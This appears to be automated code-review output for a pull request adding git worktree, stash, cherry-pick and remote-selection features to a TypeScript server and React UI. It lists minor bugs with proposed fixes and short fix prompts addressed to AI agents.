Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx` around lines 344 - 351, The confirm button always shows the static text "Merge & Rebase"; change it to reflect the current chosen strategy by deriving the label from the strategy state (e.g., selectedStrategy or strategy) and rendering that label inside the Button (preserve the GitMerge icon and disabled logic using selectedBranch and isLoading); update the Button in the merge-rebase-dialog component so handleConfirm still runs but the visible text dynamically shows the selected strategy (e.g., "Merge", "Rebase", or "Merge & Rebase") to match the user's selection.
🟡 Minor comments (24)
apps/server/src/routes/worktree/routes/checkout-branch.ts-102-107 (1)
102-107:⚠️ Potential issue | 🟡 MinorMissing git-ref existence check for
baseBranchcauses 500 instead of 400.
baseBranchis only string-validated; there is no verification that it actually resolves to a git ref. When it doesn't,execGitCommandthrows, the outercatchfires, and the client receivesHTTP 500— semantically wrong for a caller-supplied bad value. The existing flow forbranchName(lines 89–99) already usesrev-parse --verifyfor exactly this purpose; the same pattern should be applied here.🛡️ Proposed fix — pre-flight existence check for baseBranch
+ // Validate baseBranch exists as a resolvable git ref + if (baseBranch) { + try { + await execGitCommand(['rev-parse', '--verify', baseBranch], resolvedPath); + } catch { + res.status(400).json({ + success: false, + error: `Base branch '${baseBranch}' does not exist or cannot be resolved`, + }); + return; + } + } + // Create and checkout the new branch (using argument array to avoid shell injection)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/checkout-branch.ts` around lines 102 - 107, The code currently passes baseBranch straight into checkoutArgs and calls execGitCommand, causing a 500 on failure; add the same pre-flight git-ref existence check used for branchName (using rev-parse --verify via execGitCommand) for baseBranch before building checkoutArgs: if baseBranch is present, run execGitCommand(['rev-parse', '--verify', baseBranch], resolvedPath) and if that check fails return a 400 error to the client (instead of letting execGitCommand throw), then proceed to push baseBranch into checkoutArgs and call execGitCommand(['checkout','-b',branchName, baseBranch], resolvedPath).apps/ui/src/components/views/board-view/dialogs/stash-changes-dialog.tsx-192-199 (1)
192-199:⚠️ Potential issue | 🟡 MinorTrailing empty line from
split('\n')produces a phantom context line.When
diffTextends with a newline (standard for diffs),split('\n')yields an empty string as the last element. This empty string matchesline === ''on Line 192, causing a spurious context line to be appended to the last hunk with incorrectly incremented line numbers.Proposed fix: skip empty trailing lines
Add an early guard at the top of the loop body (after Line 133):
const line = lines[i]; + + // Skip empty trailing line from split + if (line === '' && i === lines.length - 1) continue; if (line.startsWith('diff --git')) {Alternatively, trim trailing newlines before splitting:
- const lines = diffText.split('\n'); + const lines = diffText.replace(/\n$/, '').split('\n');🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/stash-changes-dialog.tsx` around lines 192 - 199, The parser is creating a phantom context line when diffText ends with a trailing newline because split('\n') yields a final empty string that matches line === '' and increments old/new counters; update the hunk-parsing loop in stash-changes-dialog.tsx (the block that iterates over lines producing currentHunk.lines and uses oldLineNum/newLineNum) to skip a trailing empty line—e.g., add an early guard right after the loop starts: if line === '' && index === lines.length - 1 then continue (or trim trailing newlines from diffText before splitting) so you don't append a spurious context line or advance line numbers.apps/server/src/routes/worktree/routes/cherry-pick.ts-104-118 (1)
104-118:⚠️ Potential issue | 🟡 MinorContradictory response: cherry-pick is aborted but message says "resolve manually".
After a conflict is detected, the handler aborts the cherry-pick (Line 107), which restores the repo to a clean state. However, the error message on Line 114 tells the user "Conflicts need to be resolved manually," which is misleading since there are no longer any conflicts to resolve.
Suggested fix
res.status(409).json({ success: false, - error: `Cherry-pick CONFLICT: Could not apply commit(s) cleanly. Conflicts need to be resolved manually.`, + error: `Cherry-pick failed due to conflicts and was aborted. The branch is unchanged. Resolve the conflicting changes before retrying.`, hasConflicts: true, });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/cherry-pick.ts` around lines 104 - 118, The response is contradictory: after detecting hasConflicts the handler calls execGitCommand(['cherry-pick','--abort']) to restore a clean repo, but the API message (res.status(...).json) still tells the client "Conflicts need to be resolved manually." Update the response to accurately reflect that the cherry-pick was aborted and no changes were applied (or alternatively, if you prefer to leave the repo in a conflicted state so the client can resolve, remove the abort); specifically edit the code around hasConflicts in the cherry-pick route to either 1) keep the abort and change the error text to something like "Cherry-pick aborted due to conflicts; no changes applied" (and keep hasConflicts: true or set a new flag like aborted:true), or 2) drop the execGitCommand(['cherry-pick','--abort']) call so the repo remains in conflict and retain the original message—make the choice consistent and adjust the response text accordingly (references: hasConflicts, execGitCommand, logger.warn, and the res.status(...).json block).apps/server/src/routes/worktree/routes/cherry-pick.ts-20-34 (1)
20-34:⚠️ Potential issue | 🟡 MinorNormalize
worktreePathusingpath.resolve()for consistency and security.Other worktree routes (discard-changes.ts line 33, create.ts line 62, checkout-branch.ts line 63) normalize paths with
path.resolve()before passing them to git commands. cherry-pick.ts should do the same. The middleware validation usingisGitRepo()only checks if the path is a valid git repository but doesn't prevent path traversal attacks. Usepath.resolve(worktreePath)before passing toexecGitCommandto normalize and resolve any..sequences, matching the pattern used throughout the codebase.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/cherry-pick.ts` around lines 20 - 34, Normalize the incoming worktreePath from req.body by running it through path.resolve() before any validation or use (same pattern as other routes like discard-changes.ts/create.ts/checkout-branch.ts); specifically, replace direct uses of worktreePath when calling execGitCommand and any other filesystem/git operations with the resolved value (e.g., const resolvedWorktreePath = path.resolve(worktreePath)) and use resolvedWorktreePath for validation with isGitRepo() and subsequent execGitCommand calls to prevent path traversal and ensure consistent paths across cherry-pick.ts.apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx-319-323 (1)
319-323:⚠️ Potential issue | 🟡 MinorDiff-load errors are silently swallowed — call
setErrorin the catch block.When
api.git.getDiffsrejects, onlyconsole.warnfires.setIsLoadingDiffs(false)completes normally, so the UI renders the "No changes detected" empty state with no indication that a network/IPC error occurred.🛡️ Proposed fix
} catch (err) { console.warn('Failed to load diffs for discard dialog:', err); + setError(err instanceof Error ? err.message : 'Failed to load changes'); } finally {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx` around lines 319 - 323, The catch block for the api.git.getDiffs call currently only logs the error and lets the UI show a "No changes detected" state; update the catch to call setError(err) (or setError(String(err)) if needed) so the component's error state is set when diffs fail to load, keep the console.warn for diagnostics, and ensure setIsLoadingDiffs(false) still runs in the finally block; locate the error handling around api.git.getDiffs in the discard-worktree-changes-dialog component and add setError usage inside that catch.apps/server/src/services/auto-loop-coordinator.ts-415-419 (1)
415-419:⚠️ Potential issue | 🟡 MinorInconsistent
'main'normalization betweengetWorktreeAutoLoopKeyandresolveMaxConcurrency.
getWorktreeAutoLoopKey(line 43) still converts'main'→'__main__', so the loop map key is correct. But after this PR's change,resolveMaxConcurrencyonly convertsnull→'__main__'— passingbranchName = 'main'produces settings lookup key'proj-1::main', which never matches'proj-1::__main__', so any worktree-specificmaxConcurrencyis silently ignored.Either also normalize
'main'inresolveMaxConcurrency, or remove the legacy'main'normalization fromgetWorktreeAutoLoopKeyand enforce the "callers must passnullfor the primary worktree" contract uniformly everywhere.🔧 Quick fix (option A — keep 'main' normalization in resolveMaxConcurrency)
- const normalizedBranch = branchName === null ? '__main__' : branchName; + const normalizedBranch = (branchName === null || branchName === 'main') ? '__main__' : branchName;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-loop-coordinator.ts` around lines 415 - 419, getWorktreeAutoLoopKey and resolveMaxConcurrency disagree on how the primary branch is canonicalized: getWorktreeAutoLoopKey still maps 'main' → '__main__' but resolveMaxConcurrency only maps null → '__main__', causing lookups like 'proj-1::main' to miss worktree-specific settings; to fix, update resolveMaxConcurrency to normalize branchName === 'main' (as well as null) to '__main__' before building the worktree key (the code that constructs normalizedBranch/worktreeId), or alternatively remove the legacy 'main' → '__main__' mapping from getWorktreeAutoLoopKey and enforce callers to pass null for primary branch—prefer the former: add the same normalization logic used by getWorktreeAutoLoopKey inside resolveMaxConcurrency so both functions produce the same worktree key.apps/server/src/routes/worktree/routes/commit-log.ts-48-90 (1)
48-90:⚠️ Potential issue | 🟡 MinorLast commit's body may include the
---END---marker depending on trailing newline.
git log --format(tformat) places a newline between records but not after the last one. Splitting on"---END---\n"works for all but the final block, which ends with---END---(no trailing\n). That leftover text becomes part of the last commit's body on Line 86.Proposed fix — strip the marker before parsing
- const commitBlocks = logOutput.split('---END---\n').filter((block) => block.trim()); + const commitBlocks = logOutput + .split('---END---') + .map((block) => block.replace(/^\n/, '')) // strip leading \n from inter-record separator + .filter((block) => block.trim());🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/commit-log.ts` around lines 48 - 90, The commit parsing can include the trailing '---END---' in the last commit body because we split on '---END---\n'; change the split to use '---END---' (or strip the marker) and then trim/filter so the marker is removed before parsing. Update the commitBlocks assignment (where logOutput.split('---END---\n') is used) to logOutput.split('---END---').filter((block) => block.trim()) or explicitly remove a trailing '---END---' from logOutput before splitting, then proceed with the existing parsing and commits.push logic; this ensures the last commit's body doesn't contain the marker.apps/server/src/routes/worktree/routes/branch-commit-log.ts-36-38 (1)
36-38:⚠️ Potential issue | 🟡 Minor
limit=0currently becomes 20 instead of clamping to 1.
Number(limit) || 20treats 0 as falsy, so a client passing 0 gets 20. Consider a finite-number guard before clamping.🔧 Suggested fix
- const commitLimit = Math.min(Math.max(1, Number(limit) || 20), 100); + const parsedLimit = Number(limit); + const normalizedLimit = Number.isFinite(parsedLimit) ? parsedLimit : 20; + const commitLimit = Math.min(Math.max(1, normalizedLimit), 100);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/branch-commit-log.ts` around lines 36 - 38, The clamp logic for commitLimit treats limit=0 as falsy and falls back to 20; change it to parse and validate the numeric value first (e.g., parse Number(limit) into a variable), use Number.isFinite to decide whether to use that parsed value or the default 20, then apply Math.max(1, ...) and Math.min(..., 100) to compute commitLimit; update the expression that sets commitLimit (referencing the variables limit and commitLimit) so a passed 0 becomes 1 instead of 20 while non-finite inputs still use the default.apps/ui/src/components/views/board-view/dialogs/select-remote-dialog.tsx-66-105 (1)
66-105:⚠️ Potential issue | 🟡 MinorKeep
selectedRemotein sync when remotes refresh.If a remote is removed,
selectedRemotecan point to a non-existent entry and still be sent on confirm. Preserve the current selection only if it still exists; otherwise fall back to origin/first.🔧 Suggested fix
- setRemotes(remoteInfos); + setRemotes(remoteInfos); + setSelectedRemote((current) => { + if (current && remoteInfos.some((r) => r.name === current)) return current; + const fallback = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; + return fallback?.name ?? ''; + });Apply the same logic in
handleRefresh.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/select-remote-dialog.tsx` around lines 66 - 105, When remotes refresh (e.g., in handleRefresh or after fetchRemotes) the current selectedRemote may no longer exist; update the state so selectedRemote is preserved only if present in the new remotes array, otherwise set it to remotes.find(r => r.name === 'origin')?.name || remotes[0]?.name (or '' if none). Concretely, in handleRefresh (or immediately after setRemotes in fetchRemotes) check the new remotes list against selectedRemote and call setSelectedRemote with the existing selection if it still exists, or with the fallback origin/first/empty value; use the existing remotes, selectedRemote, setRemotes, and setSelectedRemote symbols to locate and modify the logic.apps/ui/src/components/views/board-view/dialogs/create-pr-dialog.tsx-104-117 (1)
104-117:⚠️ Potential issue | 🟡 MinorRefreshing remotes overwrites the user’s selection even when it’s still valid.
fetchRemotesalways resets to origin/first. Preserve the current selection if it still exists to avoid accidental remote switches.🔧 Suggested fix
- if (remoteInfos.length > 0) { - const defaultRemote = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; - setSelectedRemote(defaultRemote.name); - } + if (remoteInfos.length > 0) { + const defaultRemote = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; + setSelectedRemote((current) => + current && remoteInfos.some((r) => r.name === current) + ? current + : defaultRemote.name + ); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-pr-dialog.tsx` around lines 104 - 117, When updating remotes in the fetchRemotes result handler, don't unconditionally reset the UI selection; check the existing selectedRemote state and only call setSelectedRemote when the current selection no longer exists in the new remoteInfos list. In the block that builds remoteInfos (remoteInfos, setRemotes), compute whether selectedRemote (or its local state variable) is present in remoteInfos.map(r => r.name); if present, leave it alone, otherwise fall back to finding 'origin' or remoteInfos[0] and call setSelectedRemote(defaultRemote.name). This preserves user selection during refreshes.apps/server/src/routes/worktree/routes/switch-branch.ts-307-316 (1)
307-316:⚠️ Potential issue | 🟡 MinorRecovery after checkout failure may leave the working directory in a conflicted state.
If checkout fails and
didStashis true, Line 311 callspopStashto restore the stash. However, ifpopStashitself results in merge conflicts (e.g., the user is now on a partially-switched or original branch with conflict markers), the working directory is silently left in a conflicted state. The outer catch (Line 318–320) returns a generic 500 error with no indication that the stash was partially applied with conflicts.Consider checking the
popStashresult and including that information in the error response, so the user knows they may need to resolve conflicts or that their changes are in the stash list.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 307 - 316, When checkout fails and didStash is true, the catch block calls popStash(worktreePath) but swallows any errors and never surfaces whether the stash application produced conflicts; update the error handling in the catch for checkoutError to inspect the result/error from popStash (or have popStash return a status) and, if popStash reports merge conflicts or returns non-clean status, include that information in the thrown error or returned response alongside checkoutError; reference the didStash flag, the popStash(worktreePath) call, and the caught checkoutError so the code surfaces a clear message indicating "stash pop resulted in conflicts" (or similar) to guide the user to resolve conflicts or re-stash.apps/server/src/routes/worktree/routes/stash-drop.ts-33-41 (1)
33-41:⚠️ Potential issue | 🟡 MinorSame
stashIndexvalidation gap as instash-apply.ts.Apply the same
Number.isInteger(stashIndex) && stashIndex >= 0guard here. This is especially important fordropsince it's a destructive operation.🛠️ Proposed fix
- if (stashIndex === undefined || stashIndex === null) { + if (stashIndex === undefined || stashIndex === null || !Number.isInteger(stashIndex) || stashIndex < 0) { res.status(400).json({ success: false, - error: 'stashIndex required', + error: 'stashIndex must be a non-negative integer', }); return; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-drop.ts` around lines 33 - 41, The current guard in the stash-drop route only checks for undefined/null for stashIndex, which is insufficient for this destructive operation; change the validation to require Number.isInteger(stashIndex) && stashIndex >= 0 before proceeding, return the same 400 JSON error when the check fails, and only construct the stashRef (`stashRef = \`stash@{${stashIndex}}\``) and continue with the drop logic after the stricter validation.apps/server/src/routes/worktree/routes/stash-apply.ts-35-43 (1)
35-43:⚠️ Potential issue | 🟡 MinorValidate
stashIndexis a non-negative integer.
stashIndexis typed asnumberbut originates from a JSON body—it could be a float, negative, or even a string if the client sends malformed JSON. The current check only guards againstundefined/null. An invalid value like-1or1.5would produce a malformedstash@{-1}ref, causing an unhelpful git error.🛠️ Proposed fix
- if (stashIndex === undefined || stashIndex === null) { + if (stashIndex === undefined || stashIndex === null || !Number.isInteger(stashIndex) || stashIndex < 0) { res.status(400).json({ success: false, - error: 'stashIndex required', + error: 'stashIndex must be a non-negative integer', }); return; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-apply.ts` around lines 35 - 43, Validate and normalize stashIndex before constructing stashRef: coerce string inputs to numbers (e.g., let idx = typeof stashIndex === 'string' ? Number(stashIndex) : stashIndex), then ensure Number.isInteger(idx) and idx >= 0; if the value is NaN, non-integer, or negative return a 400 JSON error (e.g., "stashIndex must be a non-negative integer") and only then set stashRef = `stash@{${idx}}`. Use the symbols stashIndex and stashRef to locate and update the validation logic.apps/server/src/routes/worktree/routes/stash-list.ts-74-76 (1)
74-76:⚠️ Potential issue | 🟡 MinorDefaulting to index
0on parse failure could collide with a real stash.If
refSpecdoesn't match the expectedstash@{N}pattern (e.g., due to an unexpected git output format), the stash entry is silently assigned index0, which would collide with the actualstash@{0}. This could cause a user to accidentally drop or apply the wrong stash.Consider skipping the entry instead:
🛠️ Proposed fix
const indexMatch = refSpec.match(/stash@\{(\d+)\}/); - const index = indexMatch ? parseInt(indexMatch[1], 10) : 0; + if (!indexMatch) continue; + const index = parseInt(indexMatch[1], 10);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-list.ts` around lines 74 - 76, The current stash parsing code uses const indexMatch = refSpec.match(/stash@\{(\d+)\}/); const index = indexMatch ? parseInt(indexMatch[1], 10) : 0; which silently defaults to 0 on parse failure and can collide with a real stash; change the logic in stash-list.ts so that when indexMatch is falsy you skip processing that refSpec (e.g., continue/return for this iteration) instead of assigning index 0, and only call parseInt when indexMatch exists, ensuring any code that uses index (drop/apply/list) only runs for valid stash@{N} matches.apps/ui/src/components/dialogs/project-file-selector-dialog.tsx-83-111 (1)
83-111:⚠️ Potential issue | 🟡 MinorMissing cancellation guard in
browseDirectory— stale state updates possible on close/reopen.
browseDirectoryis an async callback invoked by theuseEffecton line 118, but there is no cancellation flag. If the user closes the dialog (orprojectPathchanges) while a browse request is in-flight, the response will update state on a stale dialog instance. Although the effect'selsebranch clears state on close, a late-arriving response can clobber that cleared state.Proposed fix — add AbortController or cancelled flag
useEffect(() => { if (open) { setSelectedPaths(new Set()); setSearchQuery(''); + let cancelled = false; - browseDirectory(); + browseDirectory().then(() => { + // handled inside browseDirectory + }); + // Alternatively, refactor browseDirectory to accept a signal: + return () => { cancelled = true; }; } else { setCurrentRelativePath(''); setParentRelativePath(null); setEntries([]); setError(''); setWarning(''); setSelectedPaths(new Set()); setSearchQuery(''); } }, [open, browseDirectory]);A cleaner approach would be to move the fetch logic inline in the effect and guard all setters with
if (!cancelled), similar to the pattern used incommit-worktree-dialog.tsx.Also applies to: 113-128
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 83 - 111, The async browseDirectory callback can update state after the dialog is closed, so add a cancellation guard: either use an AbortController passed into apiPost or introduce a boolean cancelled flag inside the useEffect that calls browseDirectory, and wrap all state setters in browseDirectory (setLoading, setError, setWarning, setSearchQuery, setCurrentRelativePath, setParentRelativePath, setEntries) with if (!cancelled) before setting; alternatively move the fetch logic inline into the useEffect and apply the same cancelled guard (see the pattern used in commit-worktree-dialog.tsx) so late responses do not clobber cleared state when the dialog is closed or projectPath changes.apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx-453-501 (1)
453-501:⚠️ Potential issue | 🟡 MinorStash operations use a weaker guard than other git operations.
Other git operations (Pull, Push, View Commits, Cherry Pick) check
canPerformGitOpswhich requires bothisGitRepoandhasCommits. The stash submenu only checksgitRepoStatus.isGitRepo(line 455, 463, 470). Git requires at least one commit to create a stash, so users could trigger stash on a repo with no commits and get an unhelpful git error.Consider using
canPerformGitOpsconsistently here, or at least checkinghasCommitsas well.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx` around lines 453 - 501, Replace the weaker gitRepoStatus.isGitRepo checks in this stash UI with the broader canPerformGitOps guard so stash actions are disabled when the repo is missing commits as well; specifically, update the TooltipWrapper showTooltip and tooltipContent, the DropdownMenuItem disabled/early-return logic (the onClick handler that references gitRepoStatus.isGitRepo), the conditional rendering of the AlertCircle, and the DropdownMenuSubTrigger disabled/className checks to use canPerformGitOps (or gitRepoStatus.hasCommits combined with gitRepoStatus.isGitRepo) instead of gitRepoStatus.isGitRepo; keep existing behavior for worktree.hasChanges/onStashChanges/onViewStashes but ensure onStashChanges is only callable when canPerformGitOps is true.apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx-170-174 (1)
170-174:⚠️ Potential issue | 🟡 Minor
handleConfirmdoesn'tawaitthe potentially asynconConfirm.
onConfirmis typed as returningvoid | Promise<void>, buthandleConfirmcalls it synchronously and immediately closes the dialog. If the caller returns a Promise (e.g., performs an async git operation), the dialog will close before the operation completes, swallowing any error feedback.Proposed fix
- const handleConfirm = () => { - if (!worktree || !selectedBranch) return; - onConfirm(worktree, selectedBranch, selectedStrategy); - onOpenChange(false); - }; + const handleConfirm = async () => { + if (!worktree || !selectedBranch) return; + await onConfirm(worktree, selectedBranch, selectedStrategy); + onOpenChange(false); + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx` around lines 170 - 174, The handleConfirm currently calls onConfirm(worktree, selectedBranch, selectedStrategy) synchronously and immediately closes the dialog; change handleConfirm into an async function, await the potentially returned Promise from onConfirm, and only call onOpenChange(false) after the await completes successfully; wrap the await in a try/catch to handle or rethrow errors (e.g., show/log error or propagate to caller) so async failures are not swallowed. Use the existing identifiers handleConfirm, onConfirm, onOpenChange, worktree, selectedBranch, and selectedStrategy when making this change.apps/server/src/routes/fs/routes/browse-project-files.ts-130-134 (1)
130-134:⚠️ Potential issue | 🟡 MinorInconsistent path separator handling on Windows.
currentRelativePathis set frompath.normalize()(which uses OS-native separators), but line 133 concatenates with a hardcoded/. On Windows this would produce mixed separators likesrc\lib/file.ts.Use
path.joinor normalize the relative path to forward slashes consistently:Proposed fix
.map((entry) => { - const entryRelativePath = currentRelativePath - ? `${currentRelativePath}/${entry.name}` - : entry.name; + const entryRelativePath = currentRelativePath + ? path.join(currentRelativePath, entry.name) + : entry.name;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/fs/routes/browse-project-files.ts` around lines 130 - 134, The code builds entryRelativePath by concatenating currentRelativePath with '/' which mixes separators on Windows; inside the map where entryRelativePath is created (variable currentRelativePath and entry.name), replace the manual string concat with path.join(currentRelativePath, entry.name) (or if consumers require forward slashes, use path.posix.join or call .replace(/\\/g, '/') on the result) and ensure the module importing/using path is available in the scope where this mapping occurs.apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx-407-418 (1)
407-418:⚠️ Potential issue | 🟡 Minor
handleKeyDownonly checksmetaKey— Ctrl+Enter won't work on Windows/Linux.The keyboard shortcut only checks
e.metaKey(Cmd key on Mac). On Windows/Linux, users would expect Ctrl+Enter. TheProjectFileSelectorDialogin this same PR correctly checks(e.metaKey || e.ctrlKey)(line 196). The footer hint text (line 661) also only mentions "Cmd+Enter".Proposed fix
const handleKeyDown = (e: React.KeyboardEvent) => { if ( e.key === 'Enter' && - e.metaKey && + (e.metaKey || e.ctrlKey) && !isLoading && !isGenerating && message.trim() && selectedFiles.size > 0 ) { handleCommit(); } };And update the hint text:
<p className="text-xs text-muted-foreground"> - Press <kbd className="px-1 py-0.5 bg-muted rounded text-xs">Cmd+Enter</kbd> to commit + Press <kbd className="px-1 py-0.5 bg-muted rounded text-xs">{isMac ? 'Cmd' : 'Ctrl'}+Enter</kbd> to commit </p>🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` around lines 407 - 418, The keyboard handler handleKeyDown only checks e.metaKey so Ctrl+Enter on Windows/Linux won't trigger handleCommit; update handleKeyDown to use (e.metaKey || e.ctrlKey) in its condition (keeping checks for e.key === 'Enter', !isLoading, !isGenerating, message.trim(), and selectedFiles.size > 0) so both Cmd+Enter and Ctrl+Enter work, and also update the footer hint text that currently says "Cmd+Enter" to a platform-neutral "Cmd/Ctrl+Enter" (or similar) to reflect the shortcut change.apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx-70-91 (1)
70-91:⚠️ Potential issue | 🟡 MinorDon’t overwrite the user’s base-branch selection on refresh.
fetchBranchesalways resetsbaseBranchto the current branch, so clicking Refresh discards the user’s selection. Consider preserving selection on refresh and only defaulting on initial load.💡 Suggested fix
- const fetchBranches = useCallback(async () => { + const fetchBranches = useCallback(async (opts?: { preserveSelection?: boolean }) => { if (!worktree) return; setIsLoadingBranches(true); try { const api = getHttpApiClient(); const result = await api.worktree.listBranches(worktree.path, true); if (result.success && result.result) { setBranches(result.result.branches); // Default to current branch - if (result.result.currentBranch) { + if (result.result.currentBranch && !opts?.preserveSelection) { setBaseBranch(result.result.currentBranch); } } } catch (err) { logger.error('Failed to fetch branches:', err); } finally { setIsLoadingBranches(false); } - }, [worktree]); + }, [worktree]); ... - onClick={fetchBranches} + onClick={() => fetchBranches({ preserveSelection: true })}Also applies to: 207-220
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 70 - 91, fetchBranches currently always resets baseBranch to the worktree current branch, which overwrites a user selection on refresh; modify fetchBranches (and the similar code block) to preserve user choice by only calling setBaseBranch(result.result.currentBranch) when there is no existing baseBranch (i.e., baseBranch is null/undefined) or when the existing baseBranch is not present in the newly fetched branches; to implement this, read the current baseBranch state inside fetchBranches (add baseBranch to the useCallback deps), update setBranches(result.result.branches) as before, then conditionally call setBaseBranch(...) only if baseBranch is falsy or not included in result.result.branches.apps/ui/src/components/views/board-view/dialogs/view-commits-dialog.tsx-49-67 (1)
49-67:⚠️ Potential issue | 🟡 MinorGuard against invalid commit dates.
If the server returns a malformed date, this currently renders “Invalid Date.” A small guard keeps the UI clean.🛠️ Suggested fix
function formatRelativeDate(dateStr: string): string { - const date = new Date(dateStr); + const date = new Date(dateStr); + if (isNaN(date.getTime())) return 'Unknown date'; const now = new Date();🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/view-commits-dialog.tsx` around lines 49 - 67, The formatRelativeDate function can produce "Invalid Date" when given malformed or empty input; guard by validating the parsed Date early (e.g., check isNaN(date.getTime()) or !dateStr) and return a clean fallback like "unknown date" (or an empty string) instead of proceeding with calculations; update formatRelativeDate to early-return on invalid dates so subsequent math (diffMs, diffSecs, etc.) never runs and the UI stays clean.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-472-472 (1)
472-472:⚠️ Potential issue | 🟡 MinorCherry icon forced to
text-black dark:text-black— invisible on dark backgrounds.On lines 472 and 676, the
Cherryicon usestext-black dark:text-black, which renders the icon black in both light and dark themes. If the dialog header has a dark background in dark mode, this icon will be invisible or very hard to see. Consider usingtext-foregroundor a themed cherry color instead.Also applies to: 676-676
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` at line 472, The Cherry icon instances are hard-coded with "text-black dark:text-black" which makes them invisible on dark headers; update both Cherry usages to use a theme-aware class like "w-5 h-5 text-foreground" (or another appropriate token such as "text-muted-foreground" / "text-primary") instead of forcing black, i.e., change the className passed to the Cherry component from "w-5 h-5 text-black dark:text-black" to a foreground-aware class so the icon remains visible in both light and dark themes.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-165-178 (1)
165-178:⚠️ Potential issue | 🟡 MinorState reset on dialog open does not clear
loadingBranches.If the dialog is closed while branches are still loading and then quickly reopened,
loadingBranchescan still betruefrom the previous open, causing a brief stale loading indicator (or worse, the fetch effect may not re-trigger ifopenandworktreehaven't changed). Consider addingsetLoadingBranches(false)to the reset block.🐛 Proposed fix
useEffect(() => { if (open) { setStep('select-branch'); setSelectedRemote(''); setSelectedBranch(''); setCommits([]); setSelectedCommitHashes(new Set()); setExpandedCommits(new Set()); setConflictInfo(null); setCommitsError(null); setCommitLimit(30); setHasMoreCommits(false); + setLoadingBranches(false); } }, [open]);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 165 - 178, The reset in the useEffect that runs when the dialog opens doesn't clear loadingBranches, so if the dialog closed mid-fetch and reopened it can show stale loading state; update that effect to call setLoadingBranches(false) along with the other state resets (referencing useEffect, open, and the setter setLoadingBranches) so loadingBranches is explicitly cleared when the dialog is opened and the subsequent branch-fetch effects can re-run correctly.apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx-554-600 (1)
554-600:⚠️ Potential issue | 🟡 MinorEnsure single-remote pull/push uses that remote name.
If there’s exactly one remote and it isn’t
origin, the fallbackhandlePull(worktree)/handlePush(worktree)may target the wrong remote. You already have the remote list here; pass the sole remote name to avoid unexpected failures.🔧 Suggested fix
- if (result.success && result.result && result.result.remotes.length > 1) { + if (result.success && result.result && result.result.remotes.length > 1) { // Multiple remotes - show selection dialog setSelectRemoteWorktree(worktree); setSelectRemoteOperation('pull'); setSelectRemoteDialogOpen(true); } else { // Single or no remote - proceed with default behavior - handlePull(worktree); + const onlyRemote = + result.success && result.result?.remotes?.length === 1 + ? result.result.remotes[0]?.name + : undefined; + handlePull(worktree, onlyRemote); }- if (result.success && result.result && result.result.remotes.length > 1) { + if (result.success && result.result && result.result.remotes.length > 1) { // Multiple remotes - show selection dialog setSelectRemoteWorktree(worktree); setSelectRemoteOperation('push'); setSelectRemoteDialogOpen(true); } else { // Single or no remote - proceed with default behavior - handlePush(worktree); + const onlyRemote = + result.success && result.result?.remotes?.length === 1 + ? result.result.remotes[0]?.name + : undefined; + handlePush(worktree, onlyRemote); }🤖 Prompt for AI Agents
